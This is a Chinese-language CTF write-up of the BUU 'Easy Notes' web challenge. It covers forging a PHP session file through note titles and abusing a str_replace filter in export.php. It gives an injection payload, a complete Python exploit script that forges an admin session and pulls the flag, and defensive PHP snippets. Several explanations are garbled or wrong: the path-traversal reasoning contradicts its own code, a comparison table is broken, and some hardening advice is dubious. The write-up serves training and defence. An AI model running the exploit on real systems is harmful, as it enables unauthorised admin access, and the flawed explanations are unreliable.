CTF解题新思路:当Session文件写入遇上路径穿越——以BUU‘Easy Notes’为例
CTF高阶技巧:Session文件写入与路径穿越的思维拼图
在CTF竞赛中,最令人着迷的往往不是那些显而易见的漏洞,而是需要将多个看似无关的技术点串联成完整攻击链的解题过程。今天我们要探讨的这道BUU‘Easy Notes’题目,完美诠释了如何通过非常规思维组合突破常规防御。不同于简单的漏洞利用,这里需要同时掌握Session机制、文件命名规则、字符串处理缺陷三个维度的知识,并像侦探一样发现它们之间的隐藏联系。
1. 题目环境与核心漏洞点拆解
首先我们需要理解题目提供的三个关键组件:add.php、export.php和Session处理机制。这就像安全研究中的"三位一体",每个部分单独看可能无害,但组合起来就能产生惊人的化学反应。
1.1 Session文件存储机制剖析
PHP默认的Session存储有几个重要特征:
- 文件命名规则:
sess_[PHPSESSID],其中PHPSESSID需匹配[a-zA-Z0-9,-] - 存储路径:通常为
/tmp或自定义路径(本题为/var/www/tmp) - 序列化方式:
php引擎使用|作为分隔符
// 典型的PHP Session文件内容示例 username|s:6:"admin";is_admin|b:1;1.2 文件操作的危险边界
题目中的add.php存在两个关键特性:
- 允许用户控制文件名(需满足Session命名规则)
- 文件存储位置与Session路径相同
而export.php的过滤缺陷更是精妙:
$filename = str_replace('..', '', $_GET['type']) . '.note'; // 当传入type=.时,实际生成的文件名为'.' + '.note' = '..note' // 经过替换后变为'.note',但路径拼接时会产生目录穿越效果2. 攻击链的构建艺术
真正的安全高手不是记住漏洞,而是培养发现漏洞组合的能力。这道题的解题过程就像在玩一个精妙的拼图游戏。
2.1 第一步:伪造Session文件
通过精心设计的用户名和文件内容,我们可以创建伪装的Session文件:
- 注册用户名为
sess_的账户(满足文件名前缀要求) - 添加note时,title参数注入序列化数据:
这会生成包含以下内容的文件:|N;admin|b:1;|N;admin|b:1;
关键点:PHP的
|分隔符特性使得我们可以构造合法的Session数据结构
2.2 第二步:路径穿越实现文件定位
利用export.php的参数处理缺陷:
- 正常情况:
type=test→test.note - 攻击情况:
type=.→..note→.note(但实际路径解析为上级目录)
/var/www/tmp/sess_xxx # 我们注入的Session文件 /var/www/tmp/export.php # 当路径穿越后可以定位到目标文件2.3 第三步:Session反序列化触发
通过响应头获取生成的Session ID后,只需在Cookie中设置:
PHPSESSID=xxx服务器就会加载我们精心构造的Session数据,使is_admin()返回true。
3. 技术细节深度解析
3.1 PHP序列化处理器的差异对比
| 处理器类型 | 分隔符 | 安全性 | 常见配置 |
|---|---|---|---|
| php | 低 | ||
| php_binary | 二进制 | 中 | 需手动启用 |
| wddx | XML格式 | 高 | 罕见使用 |
本题的关键在于默认的php处理器使用简单的|分隔符,使得注入成为可能。
3.2 文件路径处理的魔鬼细节
str_replace('..', '', $input)的防御方式存在根本缺陷:
- 无法处理
type=.的情况 - 更好的做法应使用
realpath()或严格的白名单校验
// 更安全的实现方式 $allowed = ['news', 'events']; if(!in_array($_GET['type'], $allowed)) { die('Invalid type'); }4. 实战演练与防御方案
4.1 自动化攻击脚本优化
原脚本可以改进为更稳定的版本:
import requests import re TARGET = 'http://target.url/' def exploit(): with requests.Session() as s: # 第一阶段:创建恶意Session文件 s.post(TARGET + 'login.php', data={'user': 'sess_'}) s.post(TARGET + 'add.php', data={ 'title': '|N;admin|b:1;', 'body': 'payload' }) # 第二阶段:触发路径穿越 resp = s.get(TARGET + 'export.php?type=.') sess_id = re.search(r'sess_([a-z0-9-]+)', resp.headers['Content-Disposition']).group(1) # 第三阶段:获取flag flag_resp = requests.get(TARGET + '?page=flag', cookies={'PHPSESSID': sess_id}) print(re.search(r'flag\{.*\}', flag_resp.text).group(0))4.2 防御措施的多层设计
Session处理层:
- 修改
session.serialize_handler为php_binary - 设置
session.hash_function为更强的算法如sha256
- 修改
文件操作层:
// 安全的文件路径处理 $base_dir = '/var/www/tmp/'; $filename = basename($_GET['type']) . '.note'; $path = realpath($base_dir . $filename); if(strpos($path, $base_dir) !== 0) { die('Invalid path'); }输入验证层:
- 对用户名实施严格正则校验:
/^[a-zA-Z0-9_-]{3,20}$/ - 对note内容进行HTML特殊字符转义
- 对用户名实施严格正则校验:
5. 思维训练与技巧延伸
这种类型的题目最宝贵的不是最终的payload,而是发现漏洞组合的思维方式。在日常安全研究中,我习惯使用"攻击面矩阵"来分析每个功能点可能产生的交互效应:
| 功能点 | 输入控制 | 输出处理 | 存储位置 | 关联风险 |
|---|---|---|---|---|
| 用户注册 | 用户名 | 无 | 数据库 | Session伪造 |
| 笔记添加 | 标题内容 | 文件写入 | /tmp目录 | 文件注入 |
| 笔记导出 | type参数 | 路径拼接 | 同Session | 目录穿越 |
当把这些点横向联系起来,就能发现原本独立的功能如何通过精心设计的输入产生连锁反应。这种思维方式在真实世界的漏洞挖掘中同样适用,比如最近发现的某个CMS漏洞就是组合了模板注入和缓存文件写入两个看似无关的问题。
